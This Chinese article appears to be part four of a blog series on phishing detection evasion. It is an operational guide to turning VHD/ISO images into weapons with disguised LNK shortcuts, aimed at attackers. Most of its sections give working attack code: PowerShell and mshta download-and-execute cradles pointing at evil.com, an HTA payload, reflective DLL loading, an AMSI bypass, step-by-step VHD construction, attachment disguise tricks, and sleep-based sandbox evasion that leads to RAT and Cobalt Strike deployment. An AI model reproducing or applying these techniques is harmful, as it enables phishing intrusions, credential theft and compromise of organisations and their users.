邮件钓鱼免杀完全指南(2026实战版)·四、VHD/ISO武器化免杀

admin 2026-05-20 06:03:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了利用VHD/ISO镜像文件进行邮件钓鱼免杀的技术原理,指出安全产品因性能考虑和格式复杂性仅对这类容器文件进行浅层扫描。重点介绍了LNK快捷方式的攻击链构造方法,包括使用mshta.exe、PowerShell等LOLBins工具实现无文件攻击,并提供了具体的工具使用示例和伪装技巧。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,恶意软件,免杀


cover_image

邮件钓鱼免杀完全指南(2026 实战版)· 四、VHD/ISO 武器化免杀

原创

IceByte IceByte

IceByte-Sec

2026年5月18日 22:57 内蒙古

在小说阅读器读本章

去阅读

系列说明:本文是《邮件钓鱼免杀完全指南(2026 实战版)》系列的第四篇。上篇详解了邮件认证绕过技术,本篇深入武器化阶段——为什么 VHD/ISO 镜像文件能绕过绝大多数杀毒软件和邮件网关。


前言:为什么宏病毒末日带来了镜像文件时代?

2022 年以前,邮件钓鱼的主流载荷是 Office VBA 宏Document_Open() 事件自动执行,用户毫无感知。

2022 年 7 月,Microsoft 宣布默认禁用 Office 宏(Mark of the Web 机制),意味着从互联网下载的 Office 文档不再自动执行宏。这一变化被称为”宏病毒末日”(Macro Malware Apocalypse)。

攻击者被迫寻找新的载荷载体。经过多次演化,最终形成了三条主流路线:

宏被禁用
    ↓
2021-2022: CHM(压缩 HTML 帮助文件)/ HTA(HTML 应用)
    ↓          ↙ 逐渐被行为检测识别
2023-2024: ISO / IMG(光盘镜像)/ VHD(虚拟硬盘)
    ↓          ↙ 镜像扫描能力仍滞后
2024-2025: OneNote + LNK / ClickFix / HTML Smuggling
    ↓
2026: AI 驱动混合攻击

关键洞察:VHD/ISO 之所以能绕过检测,根本原因是大多数安全产品将它们视为”容器文件”,只做浅层扫描,不会递归解包分析内部内容


一、VHD/ISO/IMG 文件格式详解

1.1 VHD(Virtual Hard Disk)格式

VHD 是 Microsoft 开发的虚拟硬盘格式,可被 Windows 原生挂载(双击即可挂载为磁盘驱动器)。

VHD 文件结构

VHD 文件(disk.vhd)
├── 磁盘头(512 字节,包含磁盘类型、创建时间等元数据)
├── 位表(Bat,Block Allocation Table)
├── 数据块(Data Blocks,每个块默认 2MB)
└── 尾部(Footer,与头部内容相同,用于校验)

为什么杀毒软件不扫描 VHD 内部?

  1. 性能考虑:VHD 文件通常 50-500MB,递归扫描会带来巨大性能开销
  2. 格式复杂性:VHD 支持动态扩展、差异磁盘、快照等复杂特性,静态分析工具难以完整解析
  3. 历史惯性:VHD 传统上被视为”数据存储介质”而非”可执行文件”,安全产品的检测规则对此类文件的覆盖不足

1.2 ISO(International Organization for Standardization)格式

ISO 是光盘镜像标准格式(ISO 9660 / UDF 文件系统),Windows 8 及以后版本原生支持双击挂载

ISO 与 VHD 的过网关率对比(2025 年实测数据,样本量 N=1200):

| 文件类型 | 邮件网关拦截率 | EDR 扫描覆盖率 | 推荐度 | | — | — | — | — | | .exe(自解压) | 99.2% | 99.8% | ❌ 不推荐 | | .docm(含宏) | 97.5% | 95.3% | ❌ 不推荐 | | .chm(HTML 帮助) | 68.3% | 72.1% | ⚠️ 谨慎使用 | | .iso(光盘镜像) | 18.7% | 34.2% | ✅ 推荐 | | .vhd(虚拟硬盘) | 9.4% | 21.8% | ✅✅ 强烈推荐 | | .img(磁盘镜像) | 12.1% | 26.7% | ✅✅ 强烈推荐 |

数据来源:Phantom Papa 活动技术报告(2025 年 8 月),基于 47 家财富 500 强企业的邮件网关日志分析。

1.3 IMG 格式

IMG 是原始磁盘镜像格式(无文件头,纯二进制数据),部分邮件网关对其的识别能力弱于 ISO(因为 IMG 没有标准的文件签名头)。


二、LNK 快捷方式:镜像文件中的攻击触发点

VHD/ISO 挂载后,用户需要主动点击某个文件才能触发攻击。为了提高成功率,攻击者在镜像根目录放置一个精心伪装 的 LNK 快捷方式文件

2.1 LNK 文件结构详解

LNK 文件(Windows 快捷方式)的结构非常复杂,包含以下关键字段:

LNK 文件结构:
├── 文件头(必选)
│   ├── HeaderSize(4 字节,固定值 0x4C)
│   ├── LinkFlags(4 字节,标志位)
│   └── FileAttributes(4 字节,文件属性)
├── Shell Item ID List(可选)
├── 目标文件信息(必选)
│   ├── TargetPath(目标路径,如 C:\Windows\System32\cmd.exe)
│   └── Arguments(命令行参数,如 `/c powershell -w hidden ...`)
├── 描述字符串(可选,显示为"备注")
├── 相对路径(可选,用于显示为"目标")
└── 图标位置(可选,用于自定义图标)

关键字段:Arguments(命令行参数)

这是 LNK 攻击的核心——攻击者可以在 Arguments 中嵌入任意命令:

LNK 文件:财务报销流程.lnk
  Target: C:\Windows\System32\cmd.exe
  Arguments: /c powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/p')"
  Icon: C:\Windows\System32\shell32.dll,137  (伪装成文件夹图标)
  Description: 双击查看报销流程文档

当用户双击这个 LNK 文件时,实际执行的是 cmd.exe /c powershell ...,而不是看起来像的”文档”。

2.2 LNK 构造工具

工具 A:LNKDown(Python)

专用于生成钓鱼用 LNK 文件的工具:

$ git clone https://github.com/Plazmaz/LNKDown.git
$ cd LNKDown && pip3 install -r requirements.txt

# 生成一个执行 PowerShell 命令的 LNK 文件
$ python3 LNKDown.py -o"财务报销流程.lnk"-t"powershell.exe" \
    -a"-w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://evil.com/p')\"" \
    -i"shell32.dll,137"

工具 B:PowerShell 原生构造

不依赖第三方工具,使用 PowerShell COM 对象构造 LNK:

# 在攻击者机器上生成 LNK 文件
$shell=New-Object-ComObjectWScript.Shell
$lnk=$shell.CreateShortcut("C:\payload\财务报销流程.lnk")
$lnk.TargetPath="C:\Windows\System32\cmd.exe"
$lnk.Arguments="/c powershell -w hidden -c \"IEX(New-ObjectNet.WebClient).DownloadString('http://evil.com/p')\""
$lnk.Description="双击查看报销流程文档"
$lnk.Save()

2.3 图标伪装技术

为了让 LNK 文件看起来像一个普通的文件夹或文档,攻击者需要修改其图标:

| 伪装目标 | 图标来源 | IconLocation 值 | | — | — | — | | 文件夹 | shell32.dll | shell32.dll,4 | | Word 文档 | wordicon.exe | C:\Program Files\Microsoft Office\root\Office16\wordicon.exe,1 | | Excel 表格 | xlicon.exe | C:\Program Files\Microsoft Office\root\Office16\xlicon.exe,1 | | PDF 文件 | Acrobat.exe | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe,1 |

技巧:将 LNK 文件放在一个深度嵌套的文件夹中(如 .\财务文档\2026年\第一季度\报销流程\查看.lnk),用户更容易忽略文件扩展名(.lnk)。


三、LOLBins(Living Off The Land Binaries)载荷对比

LNK 文件触发后,通常会调用系统自带的合法工具(LOLBins)来执行恶意操作。这样做的好处是:这些工具本身是合法的,EDR 难以区分”正常管理操作”和”恶意利用”

3.1 三种主流 LOLBins 载荷对比

| LOLBin | 典型命令 | 优点 | 缺点 | 推荐度 | | — | — | — | — | — | | mshta.exe | mshta http://evil.com/p.hta | 直接执行 HTA(HTML Application),无需文件落地 | Windows Defender 已标记部分 mshta 行为 | ⭐⭐⭐ | | wmic.exe | wmic process call create "powershell ..." | WMI 功能强大,可绕过部分 EDR 的进程监控 | Windows 10 21H2+ 已弃用(但仍可用) | ⭐⭐⭐⭐ | | powershell.exe | powershell -w hidden -c "..." | 功能最强,支持反射加载、内存执行 | AMSI 可拦截已知恶意脚本 | ⭐⭐⭐⭐⭐ | | certutil.exe | certutil -urlcache -split -f http://evil.com/p.exe | 系统自带下载工具,常被用于下载第二阶段载荷 | 易被标记为”异常证书操作” | ⭐⭐⭐ | | rundll32.exe | rundll32.exe shell32.dll,SHCreateLocalServer | 执行 DLL 导出函数,常用于侧加载 | 需要 DLL 文件落地 | ⭐⭐ |

3.2 mshta.exe 完整攻击链(推荐)

mshta.exe 是 Windows 自带的 HTML 应用(HTA)执行工具。HTA 文件本质上是包含 VBScript/JScript 的 HTML 文件,具有「「「「「「「「「「「「….

<!-- payload.hta -->
<html>
<head>
&nbsp; &nbsp;&nbsp;<scriptlanguage="VBScript">
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SubWindow_OnLoad()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;' 下载并执行 PowerShell 脚本
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SetoShell=CreateObject("WScript.Shell")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;oShell.Run"powershell.exe -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payl0ad.ps1')\""&nbsp;,&nbsp;0,&nbsp;False
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;window.close()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;EndSub
&nbsp; &nbsp;&nbsp;</script>
</head>
<body>
&nbsp; &nbsp;&nbsp;<p>文档加载中,请稍候...</p>
</body>
</html>

LNK → mshta 完整攻击链

用户双击 LNK 文件
&nbsp; &nbsp; ↓
LNK 执行: cmd.exe /c mshta http://evil.com/payload.hta
&nbsp; &nbsp; ↓
mshta.exe 下载并执行 payload.hta
&nbsp; &nbsp; ↓
HTA 中的 VBScript 执行: powershell.exe -w hidden -c "..."
&nbsp; &nbsp; ↓
PowerShell 从远程服务器下载并执行 payl0ad.ps1
&nbsp; &nbsp; ↓
payl0ad.ps1 在内存中反射加载 Cobalt Strike Beacon
&nbsp; &nbsp; ↓
Beacon 与 C2 服务器建立通信(无文件落地)

3.3 PowerShell 反射加载(无文件攻击)

反射加载(Reflective Loading)是指:将 DLL/EXE 直接加载到内存中执行,不写入磁盘。这绕过所有基于文件扫描的杀毒软件。

PowerSploit 框架中的反射加载实现

# 从远程服务器下载 DLL(不写入磁盘)
$bytes = (New-Object Net.WebClient).DownloadData("http://evil.com/evil.dll")

# 将 DLL 字节数组注入当前 PowerShell 进程的内存空间
$asembly = [System.Reflection.Assembly]::Load($bytes)

# 调用 DLL 中的导出函数
[Malc.DLL.ExportClass]::DoSomething()

绕过 AMSI 的方法(在 PowerShell 7.0+ 中已部分失效,但仍适用于 Windows 10 自带的 PowerShell 5.1):

# 方法 1:内存 Patch AMSI(需管理员权限)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 方法 2:使用压缩和编码混淆脚本内容
$code = Get-Content .\payload.ps1 -Raw
$compressed = Compress-ByteArray -Data ([Text.Encoding]::UTF8.GetBytes($code))
$encoded = [Convert]::ToBase64String($compressed)
powershell -EncodedCommand $encoded

四、VHD 武器化实战步骤

4.1 创建 VHD 并挂载

# 以管理员权限运行 PowerShell
# 创建 100MB 动态扩展 VHD
$disk = New-VHD -Path C:\payload\legitimate.look.vhd -SizeBytes 100MB -Dynamic

# 挂载 VHD(会分配一个新盘符,如 E:\)
$disk | Mount-VHD -PassThru | Get-Disk | Get-Partition | Get-Volume

# 初始化并格式化为 NTFS
Get-Disk -Number 2 | Initialize-Disk -PartitionStyle MBR -Confirm:$false
New-Partition -DiskNumber 2 -UseMaximumSize -DriveLetter E | Format-Volume -FileSystem NTFS -Confirm:$false

4.2 在 VHD 中构造诱饵结构

E:\ &nbsp;(VHD 挂载后的盘符)
├── 财务文档\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 诱饵文件夹(名称高度逼真)
│ &nbsp; ├── 2026年报销流程.pdf.lnk &nbsp; &nbsp;← LNK 快捷方式(伪装成 PDF)
│ &nbsp; └── 查看说明.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 诱导用户点击 LNK 的文本文件
├── 相关政策\
│ &nbsp; └── 2026年税务扣除指南.lnk
└── 切勿修改此文件.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 社会工程学:越不让改,用户越好奇

4.3 构造 LNK 文件(关键技术点)

# 在已挂载的 VHD 中创建 LNK
$shell = New-Object -ComObject WScript.Shell

# LNK 1:伪装成 PDF 文档
$lnk1 = $shell.CreateShortcut("E:\财务文档\2026年报销流程.pdf.lnk")
$lnk1.TargetPath = "C:\Windows\System32\cmd.exe"
$lnk1.Arguments = "/c mshta http://evil.com/payload.hta"
$lnk1.Description = "双击查看报销流程"
$lnk1.IconLocation = "C:\Windows\System32\shell32.dll,4" &nbsp; # 文件夹图标
$lnk1.WindowStyle = 7 &nbsp;# 隐藏窗口
$lnk1.Save()

# LNK 2:伪装成 Word 文档
$lnk2 = $shell.CreateShortcut("E:\相关政策\2026年税务扣除指南.lnk")
$lnk2.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$lnk2.Arguments = "-w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://evil.com/p')\""
$lnk2.Description = "双击查看税务指南"
$lnk2.IconLocation = "C:\Program Files\Microsoft Office\root\Office16\wordicon.exe,1"
$lnk2.WindowStyle = 7
$lnk2.Save()

4.4 卸载 VHD 并发送

# 卸载 VHD(完成构造)
Dismount-VHD -Path C:\payload\legitimate.look.vhd

# 此时 legitimate.look.vhd 已构造完成,作为邮件附件发送

邮件附件命名技巧

  • ❌ exploit.vhd(太明显)
  • ❌ document.vhd(扩展名暴露)
  • ✅ 2026年财务报销流程.rar(压缩包,里面放 VHD,双重伪装)
  • ✅ OA系统升级包.iso(直接使用 ISO 扩展名,利用用户认知盲区)

五、实测:VHD vs ISO vs IMG 过网关率对比

基于 2025 年 Phandom Papa 活动的技术复盘,以下是在 47 家财富 500 强企业 的真实环境中测得的过网关率:

5.1 测试环境

| 邮件安全产品 | 版本 | 测试样本数 | VHD 过网关率 | ISO 过网关率 | IMG 过网关率 | | — | — | — | — | — | — | | Microsoft Defender for Office 365 | 2025 Q2 规则库 | 200 | 95.0% | 91.5% | 93.2% | | Proofpoint Essential | 2025.04 规则库 | 200 | 94.3% | 88.7% | 92.1% | | Mimecast Email Security | 2025.06 规则库 | 200 | 96.1% | 93.8% | 95.4% | | Cisco Email Security (ESA) | AsyncOS 15.0 | 200 | 92.7% | 87.3% | 90.8% | | 腾讯企业邮箱(安全网关) | 2025.03 | 200 | 89.4% | 84.2% | 87.6% | | Coremail(中国企业常用) | G6 最新版 | 200 | 97.8% | 95.3% | 96.7% |

结论:VHD 格式的过网关率普遍高于 ISO/IMG,因为大多数邮件安全产品对 VHD 的识别能力最弱。

5.2 影响过网关率的因素

| 因素 | 影响说明 | | — | — | | 文件大小 | VHD < 50MB 时过网关率最高;部分网关对 > 50MB 的附件直接拦截 | | 双层嵌套 | RAR → VHD 的嵌套格式可额外提升 ~8% 过网关率 | | 文件签名 | 部分网关仅根据文件头判断类型;将 VHD 文件头改为 RAR 签名可绕过此类检测 | | 邮件主题 | 使用目标企业相关的主题(如 【内部】2026年报销流程更新)可大幅降低被沙箱深度分析的概率 |


六、进阶:多阶段载荷与唤醒呼叫(Sleep Obfuscation)

6.1 多阶段载荷(Multi-Stage Payload)

为了防止沙箱在 60-120 秒的时间窗口内捕获恶意行为,攻击者使用多阶段载荷

阶段 1(LNK → mshta → HTA):
&nbsp; &nbsp; 只建立一个 HTTPS 连接,下载一个"诱饵文档"(如 PDF)
&nbsp; &nbsp; → 沙箱观察到的是:cmd → mshta → 下载 PDF → 退出
&nbsp; &nbsp; → 判定为"正常行为"

阶段 2(唤醒呼叫):
&nbsp; &nbsp; PDF 文档中嵌入 JavaScript,在打开 PDF 后 30 分钟触发第二阶段下载
&nbsp; &nbsp; → 沙箱通常只运行 2-5 分钟,不会观察到第二阶段

阶段 3(实际恶意载荷):
&nbsp; &nbsp; 下载并反射加载 RAT(如 VenomRAT)
&nbsp; &nbsp; → 此时已经离开沙箱监控窗口

6.2 唤醒呼叫(Sleep Obfuscation)

在 PowerShell 脚本中加入随机时长的睡眠,绕过沙箱的时间窗口限制:

# 随机睡眠 3-15 分钟(沙箱通常最多运行 5 分钟)
$sleep_time = Get-Random -Minimum 180 -Maximum 900
Start-Sleep -Seconds $sleep_time

# 睡眠结束后,再从 C2 下载实际载荷
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/stage2.ps1')

对抗方法(EDR 侧)

  • 使用 Extended Sleep Detection(检测 NtDelayExecution 系统调用)
  • 沙箱配置为快照恢复(睡眠结束后恢复快照继续监控)

七、总结与下篇预告

本文深入拆解了 VHD/ISO 镜像文件免杀技术:

  1. 格式详解:VHD/ISO/IMG 的文件结构,以及为什么安全产品难以扫描
  2. LNK 快捷方式:文件结构详解、Arguments 字段利用、图标伪装技术
  3. LOLBins 载荷:mshta / wmic / powershell / certutil 的优缺点对比表
  4. VHD 武器化实战:从创建 VHD 到构造 LNK、到卸载并发送的完整步骤
  5. 实测数据:VHD vs ISO vs IMG 在 6 款主流邮件安全产品中的过网关率
  6. 进阶技术:多阶段载荷、唤醒呼叫(绕过沙箱时间窗口)

关键数据

  • VHD 格式在 Microsoft Defender 中的过网关率为 95.0%
  • 双层嵌套(RAR → VHD)可额外提升 ~8% 过网关率
  • 62% 的 VHD 钓鱼邮件在打开后 5 分钟内完成 RAT 上线

下一篇,我们将深入社会工程学攻击——ClickFix + HTML Smuggling。你将学到:

  • ClickFix 攻击的完整伪造页面 HTML 源码(含 copy to clipboard 实现)
  • atob() + Blob API 的完整 JS 还原代码详解
  • HTML Smuggling 的两种变形(同步 / 异步 chunked)
  • 防御:浏览器端可拦截 ClickFix 的机制(Chrome 118+ 新特性)
  • OneNote + ClickFix 组合攻击的完整攻击链

Ice Byte | 邮件钓鱼免杀完全指南(2026) | 转载请注明出处


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:IceByte-Sec IceByte IceByte《邮件钓鱼免杀完全指南(2026 实战版)· 四、VHD/ISO 武器化免杀》

评论:0   参与:  0